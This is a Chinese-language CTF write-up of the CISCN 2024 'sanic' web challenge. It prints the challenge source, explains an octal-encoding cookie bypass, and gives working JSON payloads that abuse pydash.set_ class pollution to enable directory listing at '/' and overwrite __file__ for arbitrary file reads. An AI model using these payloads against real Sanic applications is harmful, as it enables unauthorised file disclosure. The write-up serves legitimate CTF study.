ciscn2024复现

sanic

先看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2

class Pollute:
def __init__(self):
pass

app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)

@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())

@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")

@app.route("/src")
async def src(request):
return text(open(__file__).read())

@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

return text("forbidden")

if __name__ == '__main__':
app.run(host='0.0.0.0')

可以看到登录是根据cookie的参数进行判断,但是这里有一个;如果我们传入;会截断,所以使用八进制编码绕过即可。

admin路由可以直接污染,但是存在waf _.使用\\\\ 可以绕过。接下来就是污染__file__属性值了
因为在src路由里有一个读文件的操作。

污染成功,所以现在要做的就是要找到flag的文件名,这也就是这题的考点如何利用污染列目录。

来看static这个函数

这里的directory_view和directory_handler属性需要关注一下因为解释中说的是

大概意思就是directory_view为True时,会开启列目录功能,directory_handler中可以获取指定的目录。跟进directory_handler看看

他调用的是DirectoryHandler这个类

所以如果能够污染 directory为 / directory_view为True就可以列根目录了

通过查看别的师傅的文章,发现可以通过app.router.name_index[‘xxxxx’]来获取注册的路由,该写下源码调试看看

可以看到已经有注册的路由,那怎么找到DirectoryHandler他呢。全局搜一下name_index

找到系统默认的调用点,下断点调试,找到handler

可以看到需要的两个变量。所以可以污染了

directory_view

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}

directory

这里不能直接污染因为他不是字符串类型

在原来的地方看一下

是一个path对象跟进看看

最后是给了_parts,看一下这个属性

是列表类型,直接污染

1
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

最后在污染 __file__ 变量就可以了

汇总

1
2
3
#开启列目录功能
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": true}
#将目录设置在根目录下{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

参考:https://www.cnblogs.com/gxngxngxn/p/18205235